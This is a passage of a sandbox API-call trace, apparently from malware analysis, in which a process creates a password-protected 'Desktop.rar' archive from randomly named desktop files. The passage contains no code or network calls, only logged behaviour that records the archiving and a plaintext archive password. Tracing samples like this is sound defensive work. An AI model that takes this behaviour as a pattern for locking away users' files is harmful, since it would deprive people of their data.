(HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c492e0 [0063.009] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x5f) returned 0x351670 [0063.009] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0063.009] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0063.009] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x7808db [0063.010] CloseHandle (hObject=0x1b0) returned 1 [0063.010] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.010] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.010] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0063.010] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.010] FindFirstFileW (in: lpFileName="JhTtCfiuDFLeGwcL.bmp", lpFindFileData=0x1bc480 | out: lpFindFileData=0x1bc480) returned 0x3c72330 [0063.010] FindClose (in: hFindFile=0x3c72330 | out: hFindFile=0x3c72330) returned 1 [0063.010] CreateFileW (lpFileName="JhTtCfiuDFLeGwcL.bmp" (normalized: "c:\\users\\whuoxysd\\desktop\\jhttcfiudflegwcl.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0063.010] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0063.010] GetTickCount () returned 0xa66173 [0063.010] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bd2e0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0063.010] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0063.010] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="adding") returned 6 [0063.010] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0063.010] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="jGh255P.m4a") returned 11 [0063.010] SetWindowTextW (hWnd=0x10216, lpString="JhTtCfiuDFLeGwcL.bmp") returned 1 [0063.010] GetTickCount () returned 0xa66173 [0063.010] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0063.010] CryptAcquireContextW (in: phProv=0x1bd670, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1bd670*=0x2b25f0) returned 1 [0063.011] CryptGenRandom (in: hProv=0x2b25f0, dwLen=0x10, pbBuffer=0x1bd6f0 | out: pbBuffer=0x1bd6f0) returned 1 [0063.011] CryptReleaseContext (hProv=0x2b25f0, dwFlags=0x0) returned 1 [0063.011] GetSystemTime (in: lpSystemTime=0x1bd608 | out: lpSystemTime=0x1bd608*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x18, wMilliseconds=0x2bc)) [0063.011] SystemTimeToFileTime (in: lpSystemTime=0x1bd608, lpFileTime=0x1bd600 | out: lpFileTime=0x1bd600) returned 1 [0063.011] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd630 | out: lpPerformanceCount=0x1bd630*=63323122692) returned 1 [0063.011] ReadFile (in: hFile=0x1b0, lpBuffer=0x3790040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x3790040*, lpNumberOfBytesRead=0x1bd710*=0x14f60, lpOverlapped=0x0) returned 1 [0063.012] ReadFile (in: hFile=0x1b0, lpBuffer=0x37a4fa0, nNumberOfBytesToRead=0xeb0a0, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x37a4fa0*, lpNumberOfBytesRead=0x1bd710*=0x0, lpOverlapped=0x0) returned 1 [0063.012] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.012] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.012] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49310 [0063.012] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49340 [0063.012] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49340, Size=0x48) returned 0x34e390 [0063.012] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0063.012] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49340 [0063.012] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49340, Size=0x48) returned 0x34e340 [0063.012] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0063.012] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0063.012] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49340 [0063.012] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49370 [0063.012] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49370 | out: hHeap=0x290000) returned 1 [0063.012] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49340 | out: hHeap=0x290000) returned 1 [0063.012] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49310, Size=0x48) returned 0x34e390 [0063.012] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e390, Size=0x7a) returned 0x36ea60 [0063.012] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0063.012] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0063.013] GetTickCount () returned 0xa66173 [0063.013] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd550 | out: lpPerformanceCount=0x1bd550*=63323303990) returned 1 [0063.013] GetTickCount () returned 0xa66173 [0063.013] GetTickCount () returned 0xa66173 [0063.013] GetTickCount () returned 0xa66173 [0063.013] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.013] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.013] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.013] ResetEvent (hEvent=0x1a4) returned 1 [0063.013] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.013] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.215] ResetEvent (hEvent=0x1a4) returned 1 [0063.215] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.219] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.219] ResetEvent (hEvent=0x1a4) returned 1 [0063.219] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.221] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.221] GetTickCount () returned 0xa6623e [0063.221] GetLastError () returned 0x0 [0063.221] SetLastError (dwErrCode=0x0) [0063.221] GetDlgItem (hDlg=0x1020e, nIDDlgItem=158) returned 0x1021a [0063.221] GetDlgItem (hDlg=0x1020e, nIDDlgItem=153) returned 0x10218 [0063.221] GetWindowTextW (in: hWnd=0x10218, lpString=0x1bbca0, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0063.221] SetWindowTextW (hWnd=0x10218, lpString=" 100%") returned 1 [0063.222] SendMessageW (hWnd=0x1021a, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x0 [0063.222] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=63346510474) returned 1 [0063.222] GetTickCount () returned 0xa6623e [0063.222] GetTickCount () returned 0xa6623e [0063.222] GetTickCount () returned 0xa6623e [0063.222] CoCreateInstance (in: rclsid=0x13f27f5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x13f27cc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x1bd0d8 | out: ppv=0x1bd0d8*=0x3c49310) returned 0x0 [0063.222] TaskbarList:ITaskbarList3:SetProgressState (This=0x3c49310, hwnd=0x1020e, tbpFlags=2) returned 0x0 [0063.222] TaskbarList:ITaskbarList3:SetProgressValue (This=0x3c49310, hwnd=0x1020e, ullCompleted=0x880532, ullTotal=0x954fe3) returned 0x0 [0063.222] TaskbarList:IUnknown:Release (This=0x3c49310) returned 0x0 [0063.222] GetLastError () returned 0x36b7 [0063.222] SetLastError (dwErrCode=0x36b7) [0063.222] GetDlgItem (hDlg=0x1020e, nIDDlgItem=157) returned 0x10230 [0063.222] GetDlgItem (hDlg=0x1020e, nIDDlgItem=152) returned 0x1022e [0063.222] GetWindowTextW (in: hWnd=0x1022e, lpString=0x1bbca0, nMaxCount=2560 | out: lpString=" 89%") returned 5 [0063.222] SetWindowTextW (hWnd=0x1022e, lpString=" 91%") returned 1 [0063.223] GetLastError () returned 0x0 [0063.223] SetLastError (dwErrCode=0x0) [0063.223] GetDlgItem (hDlg=0x1020e, nIDDlgItem=164) returned 0x1022a [0063.223] GetWindowTextW (in: hWnd=0x1022a, lpString=0x1bbca0, nMaxCount=2560 | out: lpString=" 88%") returned 5 [0063.223] SendMessageW (hWnd=0x10230, Msg=0x402, wParam=0x5b, lParam=0x0) returned 0x59 [0063.223] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 1 [0063.223] GetMessageW (in: lpMsg=0x1bd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd580) returned 1 [0063.224] GetFocus () returned 0x10232 [0063.224] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd580) returned 1 [0063.224] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 1 [0063.224] GetMessageW (in: lpMsg=0x1bd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd580) returned 1 [0063.224] GetFocus () returned 0x10232 [0063.225] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd580) returned 1 [0063.225] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.225] ResetEvent (hEvent=0x190) returned 1 [0063.225] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.225] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.225] ResetEvent (hEvent=0x190) returned 1 [0063.225] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.226] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.226] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 1 [0063.226] GetMessageW (in: lpMsg=0x1bd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd300) returned 1 [0063.226] GetFocus () returned 0x10232 [0063.226] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd300) returned 1 [0063.226] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.227] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd400*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd400*=0) returned 0x7808db [0063.227] SetFilePointer (in: hFile=0x198, lDistanceToMove=104, lpDistanceToMoveHigh=0x1bd3d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd3d0*=0) returned 0x780943 [0063.227] CryptUnprotectMemory (in: pDataIn=0x1bd280, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bd280) returned 1 [0063.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1bd200, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0063.227] CryptUnprotectMemory (in: pDataIn=0x1bcc60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcc60) returned 1 [0063.227] CryptUnprotectMemory (in: pDataIn=0x1bcd60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcd60) returned 1 [0063.227] CryptUnprotectMemory (in: pDataIn=0x1bcee0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1bcee0) returned 1 [0063.227] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x15020, lpNumberOfBytesWritten=0x1bd400, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd400*=0x15020, lpOverlapped=0x0) returned 1 [0063.228] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 1 [0063.228] GetMessageW (in: lpMsg=0x1bd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd300) returned 1 [0063.228] GetFocus () returned 0x10232 [0063.228] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd300) returned 1 [0063.228] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.228] SetFilePointer (in: hFile=0x198, lDistanceToMove=7866587, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x7808db [0063.228] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1b9aa0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1b9aa0*=0) returned 0x7808db [0063.228] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49310 [0063.228] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49340 [0063.228] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49340, Size=0x48) returned 0x34e340 [0063.229] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0063.229] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49340 [0063.229] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49340, Size=0x48) returned 0x34e390 [0063.229] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0063.229] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0063.229] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49340 [0063.229] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49370 [0063.229] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49370 | out: hHeap=0x290000) returned 1 [0063.229] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49340 | out: hHeap=0x290000) returned 1 [0063.229] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49310, Size=0x48) returned 0x34e340 [0063.229] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e340, Size=0x7a) returned 0x36ea60 [0063.229] WriteFile (in: hFile=0x198, lpBuffer=0x36ea63*, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0x1b80e0, lpOverlapped=0x0 | out: lpBuffer=0x36ea63*, lpNumberOfBytesWritten=0x1b80e0*=0x68, lpOverlapped=0x0) returned 1 [0063.229] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49310 [0063.229] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x68) returned 0x3516e0 [0063.229] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0063.229] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0063.229] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x795963 [0063.229] CloseHandle (hObject=0x1b0) returned 1 [0063.229] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.229] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.229] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0063.229] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.229] FindFirstFileW (in: lpFileName="L4T8mDg3vHms9Y.xls", lpFindFileData=0x1bc480 | out: lpFindFileData=0x1bc480) returned 0x3c72330 [0063.229] FindClose (in: hFindFile=0x3c72330 | out: hFindFile=0x3c72330) returned 1 [0063.229] CreateFileW (lpFileName="L4T8mDg3vHms9Y.xls" (normalized: "c:\\users\\whuoxysd\\desktop\\l4t8mdg3vhms9y.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0063.229] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0063.229] GetTickCount () returned 0xa6624e [0063.229] GetLastError () returned 0x0 [0063.229] SetLastError (dwErrCode=0x0) [0063.229] GetDlgItem (hDlg=0x1020e, nIDDlgItem=158) returned 0x1021a [0063.229] GetDlgItem (hDlg=0x1020e, nIDDlgItem=153) returned 0x10218 [0063.229] GetWindowTextW (in: hWnd=0x10218, lpString=0x1bbdb0, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0063.229] SetWindowTextW (hWnd=0x10218, lpString=" 0%") returned 1 [0063.230] SendMessageW (hWnd=0x1021a, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x64 [0063.230] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bd2e0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0063.230] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0063.230] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="adding") returned 6 [0063.230] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0063.230] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="JhTtCfiuDFLeGwcL.bmp") returned 20 [0063.230] SetWindowTextW (hWnd=0x10216, lpString="L4T8mDg3vHms9Y.xls") returned 1 [0063.230] GetTickCount () returned 0xa6624e [0063.230] UpdateWindow (hWnd=0x1020e) returned 1 [0063.230] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0063.230] CryptAcquireContextW (in: phProv=0x1bd670, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1bd670*=0x2b25f0) returned 1 [0063.231] CryptGenRandom (in: hProv=0x2b25f0, dwLen=0x10, pbBuffer=0x1bd6f0 | out: pbBuffer=0x1bd6f0) returned 1 [0063.231] CryptReleaseContext (hProv=0x2b25f0, dwFlags=0x0) returned 1 [0063.231] GetSystemTime (in: lpSystemTime=0x1bd608 | out: lpSystemTime=0x1bd608*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x18, wMilliseconds=0x397)) [0063.231] SystemTimeToFileTime (in: lpSystemTime=0x1bd608, lpFileTime=0x1bd600 | out: lpFileTime=0x1bd600) returned 1 [0063.231] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd630 | out: lpPerformanceCount=0x1bd630*=66846431859) returned 1 [0063.231] ReadFile (in: hFile=0x1b0, lpBuffer=0x3790040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x3790040*, lpNumberOfBytesRead=0x1bd710*=0xddcb, lpOverlapped=0x0) returned 1 [0063.232] ReadFile (in: hFile=0x1b0, lpBuffer=0x379de0b, nNumberOfBytesToRead=0xf2235, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x379de0b*, lpNumberOfBytesRead=0x1bd710*=0x0, lpOverlapped=0x0) returned 1 [0063.232] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.232] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.232] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49340 [0063.232] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49370 [0063.232] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49370, Size=0x48) returned 0x34e390 [0063.232] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0063.232] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49370 [0063.232] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49370, Size=0x48) returned 0x34e340 [0063.232] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0063.232] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0063.232] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49370 [0063.232] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c493a0 [0063.232] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c493a0 | out: hHeap=0x290000) returned 1 [0063.232] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49370 | out: hHeap=0x290000) returned 1 [0063.232] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49340, Size=0x48) returned 0x34e390 [0063.232] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e390, Size=0x7a) returned 0x36ea60 [0063.232] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0063.232] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0063.234] GetTickCount () returned 0xa6624e [0063.234] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd550 | out: lpPerformanceCount=0x1bd550*=66846742333) returned 1 [0063.234] GetTickCount () returned 0xa6624e [0063.234] GetLastError () returned 0x0 [0063.234] SetLastError (dwErrCode=0x0) [0063.234] GetDlgItem (hDlg=0x1020e, nIDDlgItem=154) returned 0x10220 [0063.234] GetWindowTextW (in: hWnd=0x10220, lpString=0x1bc130, nMaxCount=2560 | out: lpString="00:08:21") returned 8 [0063.234] SetWindowTextW (hWnd=0x10220, lpString="00:08:56") returned 1 [0063.234] GetTickCount () returned 0xa6624e [0063.234] GetLastError () returned 0x0 [0063.234] SetLastError (dwErrCode=0x0) [0063.234] GetDlgItem (hDlg=0x1020e, nIDDlgItem=151) returned 0x10224 [0063.234] GetWindowTextW (in: hWnd=0x10224, lpString=0x1bc130, nMaxCount=2560 | out: lpString="00:00:57") returned 8 [0063.234] SetWindowTextW (hWnd=0x10224, lpString="00:00:48") returned 1 [0063.235] GetTickCount () returned 0xa6624e [0063.235] CoCreateInstance (in: rclsid=0x13f27f5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x13f27cc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x1bd108 | out: ppv=0x1bd108*=0x3c49340) returned 0x0 [0063.235] TaskbarList:ITaskbarList3:SetProgressState (This=0x3c49340, hwnd=0x1020e, tbpFlags=2) returned 0x0 [0063.235] TaskbarList:ITaskbarList3:SetProgressValue (This=0x3c49340, hwnd=0x1020e, ullCompleted=0x88e2fd, ullTotal=0x954fe3) returned 0x0 [0063.235] TaskbarList:IUnknown:Release (This=0x3c49340) returned 0x0 [0063.235] GetLastError () returned 0x36b7 [0063.235] SetLastError (dwErrCode=0x36b7) [0063.235] GetDlgItem (hDlg=0x1020e, nIDDlgItem=157) returned 0x10230 [0063.235] GetDlgItem (hDlg=0x1020e, nIDDlgItem=152) returned 0x1022e [0063.235] GetWindowTextW (in: hWnd=0x1022e, lpString=0x1bbcd0, nMaxCount=2560 | out: lpString=" 91%") returned 5 [0063.235] GetLastError () returned 0x36b7 [0063.235] SetLastError (dwErrCode=0x36b7) [0063.235] GetDlgItem (hDlg=0x1020e, nIDDlgItem=164) returned 0x1022a [0063.235] GetWindowTextW (in: hWnd=0x1022a, lpString=0x1bbcd0, nMaxCount=2560 | out: lpString=" 88%") returned 5 [0063.235] SendMessageW (hWnd=0x10230, Msg=0x402, wParam=0x5b, lParam=0x0) returned 0x5b [0063.236] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.236] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.236] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.237] ResetEvent (hEvent=0x1a4) returned 1 [0063.237] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.239] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.239] ResetEvent (hEvent=0x1a4) returned 1 [0063.239] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.240] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.240] GetTickCount () returned 0xa6624e [0063.240] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=66847363333) returned 1 [0063.240] GetTickCount () returned 